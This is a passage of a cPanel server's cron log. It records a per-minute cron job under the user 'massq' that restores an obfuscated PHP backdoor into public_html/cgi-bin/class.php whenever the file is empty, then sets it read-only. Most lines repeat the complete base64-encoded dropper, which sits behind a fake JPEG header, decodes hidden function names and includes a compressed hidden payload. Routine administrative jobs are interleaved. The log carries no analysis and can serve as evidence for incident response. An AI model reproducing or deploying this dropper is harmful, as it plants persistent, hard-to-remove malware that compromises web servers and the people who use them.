HQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:48:01 server CROND[1825]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:49:01 server CROND[1914]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:50:01 server CROND[2084]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 06:50:01 server CROND[2086]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 06:50:01 server CROND[2087]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 06:50:01 server CROND[2089]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:50:01 server CROND[2088]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 06:51:01 server CROND[2203]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:52:01 server CROND[2269]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:53:01 server CROND[2337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:54:01 server CROND[2403]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:55:01 server CROND[2562]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:55:01 server CROND[2563]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 06:55:01 server CROND[2564]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 06:56:01 server CROND[2674]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:57:01 server CROND[2753]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:57:01 server CROND[2754]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 06:58:01 server CROND[2828]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 06:59:01 server CROND[2896]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:00:01 server CROND[3070]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 07:00:01 server CROND[3071]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 07:00:01 server CROND[3073]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 07:00:01 server CROND[3074]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:01:01 server CROND[3195]: (root) CMD (run-parts /etc/cron.hourly)
